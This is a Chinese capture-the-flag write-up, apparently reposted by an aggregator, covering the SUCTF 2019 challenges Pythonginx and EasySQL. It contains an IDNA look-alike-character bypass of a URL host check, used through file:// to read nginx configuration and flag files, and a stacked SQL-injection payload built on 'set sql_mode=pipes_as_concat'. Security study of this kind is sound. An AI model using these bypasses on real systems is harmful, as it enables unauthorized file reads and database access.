WEB|[SUCTF 2019]Pythonginx
Posted scarecr0w7
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WEB|[SUCTF 2019]Pythonginx相关的知识,希望对你有一定的参考价值。
源码
@app.route(\'/getUrl\', methods=[\'GET\', \'POST\'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == \'suctf.cc\': # 解析主机名,不能是suctf.cc
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == \'suctf.cc\': # 分割url不能,第二部份也就是域名不能是suctf.cc
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split(\'.\'): # 点分host
newhost.append(h.encode(\'idna\').decode(\'utf-8\')) # 分割后的部份进行idna编码
parts[1] = \'.\'.join(newhost) # 去掉 url 中的空格
finalUrl = urlunsplit(parts).split(\' \')[0] # 将主机名再次组合成 url
host = parse.urlparse(finalUrl).hostname # 再解析主机名
if host == \'suctf.cc\': # 主机名为suctf.cc
return urllib.request.urlopen(finalUrl).read() # 可读取文件
else:
return "我扌 your problem? 333"
大概意思是,获取ur主机地址不能是suctf.cc,但是分割idna重新编码后主机地址需要又是suctf.cc
urlsplit, urlparse简单区别
urlsplit是拆分,而urlparse是解析,urlparse粒度更为细致
url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"
urlsplit(url)
scheme=\'https\',
netloc=\'username:password@www.baidu.com:80\',
path=\'/index.html;parameters\',
query=\'name=tom\',
fragment=\'example\')
urlparse(url)
scheme=\'https\',
netloc=\'username:password@www.baidu.com:80\',
path=\'/index.html\',
params=\'parameters\',
query=\'name=tom\',
fragment=\'example\'
idna与utf-8编码漏洞
国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名:指部分或完全使用特殊文字> 或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经> 过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。
idna:支持 RFC 5891 中指定的应用程序中的国际化域名 (IDNA) 协议的库。该版本的协议通常被称为> “IDNA2008”,并且可以产生与 2003 年早期标准不同的结果。
简单来说就是利用编码漏洞绕过对suctf.cc检测,某个字符串utf-8编码下不为suctf.cc,但是inda编码下为suctf.cc
# ℆字符,python3进行idna编码
print(\'℆\'.encode(\'idna\'))
b’c/u’
# 再使用utf-8进行解码
print(b\'c/u\'.decode(\'utf-8\'))
c/u
可使用字符
ℂ unicode: \\u2102
ℭ unicode: \\u212d
Ⅽ unicode: \\u216d
ⅽ unicode: \\u217d
Ⓒ unicode: \\u24b8
ⓒ unicode: \\u24d2
C unicode: \\uff23
c unicode: \\uff43
nginx敏感文件
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
payload
读取敏感文件,获得flag位置
getUrl?url=file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf
/usr/fffffflag
读取flag
getUrl?url=file://suctf.cⅭ/usr/fffffflag
flagfbb5e4cb-b83e-4bec-b0d9-028de780e85b
suctf2019 部分web题目的复盘
1.简单的SQL注入
一开始一直没思路,输入什么过滤什么,结束后看了大佬们的wp,感觉学到了,这里涉及到Mysql中的一个特殊模式的设置
set sql_mode=pipes_as_concat;
这一句sql语句的意思是开启mysql中支持管道符来进行字符串的拼接操作
测试一下效果
简单准备的原始数据表
没有开启这个模式的时候
这里并没有出现字符串的拼接效果
开启这个模式后
可以从上图看到,数据表中的数据被带出来了,下面这张图更清晰
因此,假定上面那道题支持开启这个模式的话,就可以遍历数据库字段,尝试拿flag
大致猜测查询语句是 select 查询参数 from 数据表;的结构,那么我们可以直接拼接
成
select 1;set sql_mode=pipes_as_concat;select 1 from 数据表
只输入数字进行查询是因为,执行数字时有回显,判断是执行成功的,查询字符串则会报错,一般来说php会设置默认不显示报错信息,因此使用数字查询开启这个模式来手动构造注入漏洞
Payload: 1;set sql_mode=pipes_as_concat;select 1
flag拿到了
题外话
关于Mysql的模式设置,可以替换为其他的模式,传统的,标准的,严格的,等等
我们常设置的 sql_mode 是 ANSI
、STRICT_TRANS_TABLES
、TRADITIONAL
,ansi和traditional是上面的几种组合。
-
ANSI
:更改语法和行为,使其更符合标准SQL
相当于REAL_AS_FLOAT, PIPES_AS_CONCAT, ANSI_QUOTES, IGNORE_SPACE -
TRADITIONAL
:更像传统SQL数据库系统,该模式的简单描述是当在列中插入不正确的值时“给出错误而不是警告”。
相当于 STRICT_TRANS_TABLES, STRICT_ALL_TABLES, NO_ZERO_IN_DATE, NO_ZERO_DATE, ERROR_FOR_DIVISION_BY_ZERO, NO_AUTO_CREATE_USER, NO_ENGINE_SUBSTITUTION -
ORACLE
:相当于 PIPES_AS_CONCAT, ANSI_QUOTES, IGNORE_SPACE, NO_KEY_OPTIONS, NO_TABLE_OPTIONS, NO_FIELD_OPTIONS, NO_AUTO_CREATE_USER
参考:
https://www.cnblogs.com/piperck/p/9835695.html
以上是关于WEB|[SUCTF 2019]Pythonginx的主要内容,如果未能解决你的问题,请参考以下文章
[原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)